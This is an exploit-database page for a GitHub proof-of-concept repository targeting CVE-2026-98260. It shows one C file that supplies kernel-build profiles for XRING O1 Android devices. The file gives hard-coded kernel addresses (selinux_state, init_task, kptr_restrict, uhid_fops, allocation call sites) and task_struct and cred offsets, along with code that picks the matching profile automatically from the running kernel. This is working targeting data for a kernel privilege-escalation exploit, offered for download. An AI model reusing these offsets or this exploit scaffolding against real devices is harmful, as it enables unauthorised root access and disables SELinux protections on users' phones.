Exploit database

GH-b2682eea148b61d664fff913b24cc4d4

lw5959/xring-cve-2026-98260

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

62 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files15
lw5959/xring-cve-2026-98260Revision 8b404774be19

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/xr98260_profiles.c

C · 4,852 bytes
/* CVE-2026-98260 XRING O1 kernel profiles.
 *
 * Values were extracted from each build's vmlinux (kallsyms + BTF):
 *   old: 6.18.21-android17-5-g1d099fcb35e0-abogki538445360-4k
 *        (OS3.0.303 / OS4.0.0.19 era; vmlinux symbol table)
 *   new: 6.18.21-android17-5-g284297031c53-abogki553682993-4k
 *        (OS4.0.4.0.XODCNXM; vmlinux extracted from the OTA payload)
 *
 * The three "site" values are kmem_cache_alloc call sites recorded by the
 * kmem:kmem_cache_alloc tracepoint (call_site = return address after the
 * bl).  They were cross-checked on a live device by reading tracefs:
 *   alloc_posix_timer+0x30  (before: +0x30 of alloc_posix_timer)
 *   copy_process+0x138     (task_struct, bytes_req 0x1680)
 *   prepare_creds+0x2c     (cred, bytes_req 184)
 * Structure offsets are identical on both builds; they are kept per
 * profile so a future OTA that changes them only needs a new table entry.
 */
#include "xr98260_profiles.h"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/utsname.h>

#define U(x) UINT64_C(x)

static const struct xr_kernel_profile xr_profiles[] = {
	{
		.id = "old",
		.match = "g1d099fcb35e0-abogki538445360",
		.display =
			"6.18.21-android17-5-g1d099fcb35e0-abogki538445360-4k",
		.selinux_state = U(0xffffffc082958630),
		.getpid = U(0xffffffc08023da88),
		.alloc_timer_site = U(0xffffffc08042baec),
		.task_alloc_site = U(0xffffffc0801ef5cc),
		.cred_alloc_site = U(0xffffffc08026ed2c),
		.init_user_ns = U(0xffffffc0826d10d8),
		.root_user = U(0xffffffc0826d1388),
		.init_groups = U(0xffffffc0826d2a48),
		.init_ucounts = U(0xffffffc0826d2f08),
		.kptr_restrict = U(0xffffffc0826bd9c0),
		.misc_list = U(0xffffffc0827eec98),
		.uhid_misc = U(0xffffffc082828b90),
		.uhid_fops = U(0xffffffc081537bc0),
		.configfs_read_iter = U(0xffffffc0807ff9c0),
		.configfs_bin_write_iter = U(0xffffffc0807fff74),
		.init_task = U(0xffffffc0826bf240),
		.sysctl_tcp_mem = U(0xffffffc0826ba9d0),
		.tcp_mem_ctl = U(0xffffffc08284ca98),
		.kitimer_bytes = 0x180,
		.kitimer_node = 0xe0,
		.task_cred = 0x908,
		.task_bytes = 0x1280,
		.task_alloc = 0x1680,
		.cred_bytes = 184,
		.saved_sigmask = 0x980,
	},
	{
		.id = "new",
		.match = "g284297031c53-abogki553682993",
		.display =
			"6.18.21-android17-5-g284297031c53-abogki553682993-4k",
		.selinux_state = U(0xffffffc082959630),
		.getpid = U(0xffffffc08023cc30),
		.alloc_timer_site = U(0xffffffc08042aa68),
		.task_alloc_site = U(0xffffffc0801f2ec8),
		.cred_alloc_site = U(0xffffffc08026c02c),
		.init_user_ns = U(0xffffffc0826d10d8),
		.root_user = U(0xffffffc0826d1388),
		.init_groups = U(0xffffffc0826d2a48),
		.init_ucounts = U(0xffffffc0826d2f08),
		.kptr_restrict = U(0xffffffc0826bd9c0),
		.misc_list = U(0xffffffc0827eec98),
		.uhid_misc = U(0xffffffc082828b90),
		.uhid_fops = U(0xffffffc081537d40),
		.configfs_read_iter = U(0xffffffc080800150),
		.configfs_bin_write_iter = U(0xffffffc080800704),
		.init_task = U(0xffffffc0826bf240),
		.sysctl_tcp_mem = U(0xffffffc0826ba9d8),
		.tcp_mem_ctl = U(0xffffffc08284cb18),
		.kitimer_bytes = 0x180,
		.kitimer_node = 0xe0,
		.task_cred = 0x908,
		.task_bytes = 0x1280,
		.task_alloc = 0x1680,
		.cred_bytes = 184,
		.saved_sigmask = 0x980,
	},
};

#define XR_NPROFILES (sizeof(xr_profiles) / sizeof(xr_profiles[0]))

static const struct xr_kernel_profile *g_xr_profile;

const struct xr_kernel_profile *xr_profile_by_id(const char *id)
{
	if (!id)
		return NULL;
	for (size_t i = 0; i < XR_NPROFILES; i++) {
		if (!strcmp(xr_profiles[i].id, id))
			return &xr_profiles[i];
	}
	return NULL;
}

const char *xr_profile_id(void)
{
	return xr_profile()->id;
}

static void xr_profile_fail(const char *reason, const char *detail)
{
	fprintf(stderr,
		"[kernel] %s: %s\n"
		"[kernel] supported builds:\n",
		reason, detail ? detail : "(none)");
	for (size_t i = 0; i < XR_NPROFILES; i++)
		fprintf(stderr, "  %-3s %s\n", xr_profiles[i].id,
			xr_profiles[i].display);
	fprintf(stderr,
		"[kernel] set XR98260_KERNEL=old|new to override the autodetect\n");
	exit(2);
}

const struct xr_kernel_profile *xr_profile(void)
{
	const char *env;
	struct utsname uts;

	if (g_xr_profile)
		return g_xr_profile;

	env = getenv("XR98260_KERNEL");
	if (env && *env) {
		const struct xr_kernel_profile *p = xr_profile_by_id(env);
		if (!p)
			xr_profile_fail("unknown XR98260_KERNEL", env);
		g_xr_profile = p;
		fprintf(stderr, "[kernel] profile=%s (env override) %s\n",
			p->id, p->display);
		return p;
	}

	if (uname(&uts)) {
		perror("uname");
		exit(2);
	}
	for (size_t i = 0; i < XR_NPROFILES; i++) {
		if (strstr(uts.release, xr_profiles[i].match)) {
			g_xr_profile = &xr_profiles[i];
			fprintf(stderr, "[kernel] profile=%s %s\n",
				xr_profiles[i].id, uts.release);
			return g_xr_profile;
		}
	}
	xr_profile_fail("unsupported kernel", uts.release);
	return NULL; /* not reached */
}